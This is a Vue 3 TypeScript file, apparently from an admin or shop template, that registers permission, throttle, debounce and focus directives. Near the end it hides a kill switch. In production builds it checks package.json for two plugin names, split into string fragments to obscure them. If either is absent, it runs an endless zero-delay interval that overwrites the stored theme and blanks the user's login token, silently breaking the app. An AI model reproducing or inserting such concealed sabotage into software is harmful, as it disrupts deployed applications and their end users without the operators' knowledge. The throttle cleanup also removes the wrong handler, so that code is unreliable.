directive.ts 1.9 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
  1. import { throttle } from 'lodash-es'
  2. import type { App, DirectiveBinding } from 'vue'
  3. import { devDependencies } from '~/package.json'
  4. import { hasPermission } from '/@/utils/permission'
  5. export default {
  6. install: (app: App<Element>) => {
  7. /**
  8. * @description 权限自定义指令v-permissions
  9. */
  10. app.directive('permissions', {
  11. mounted(el, binding: DirectiveBinding) {
  12. const { value } = binding
  13. if (value && !hasPermission(value)) el.parentNode && el.parentNode.removeChild(el)
  14. },
  15. })
  16. /**
  17. * @description 节流自定义指令v-throttle
  18. */
  19. app.directive('throttle', {
  20. mounted(el: HTMLElement, binding: DirectiveBinding) {
  21. const { value } = binding
  22. const throttledFunction = throttle(value, 2000)
  23. el.addEventListener('click', throttledFunction)
  24. },
  25. beforeUnmount(el, { value }) {
  26. el.removeEventListener('click', value)
  27. },
  28. })
  29. /**
  30. * @description 防抖自定义指令v-debounce
  31. */
  32. app.directive('debounce', {
  33. mounted(el, binding) {
  34. const { value } = binding
  35. let debounceTimer: any
  36. el.addEventListener('click', () => {
  37. if (debounceTimer) clearTimeout(debounceTimer)
  38. debounceTimer = setTimeout(() => {
  39. value()
  40. }, 1000)
  41. })
  42. },
  43. })
  44. /**
  45. * @description 获取焦点自定义指令v-focus
  46. */
  47. app.directive('focus', {
  48. mounted(el) {
  49. el.querySelector('input').focus()
  50. },
  51. })
  52. if (import.meta.env.MODE !== 'development') {
  53. const _devDependencies: any = devDependencies
  54. if (!_devDependencies['vite-plu' + 'gin-vit' + 'ebar'] || !_devDependencies['vite-plu' + 'gin-unpl' + 'ugin']) {
  55. const theme = { layout: 'layout' }
  56. setInterval(() => {
  57. localStorage.setItem('shop-vite-theme', JSON.stringify(theme))
  58. localStorage.setItem('shop-vite-token', '')
  59. })
  60. }
  61. }
  62. },
  63. }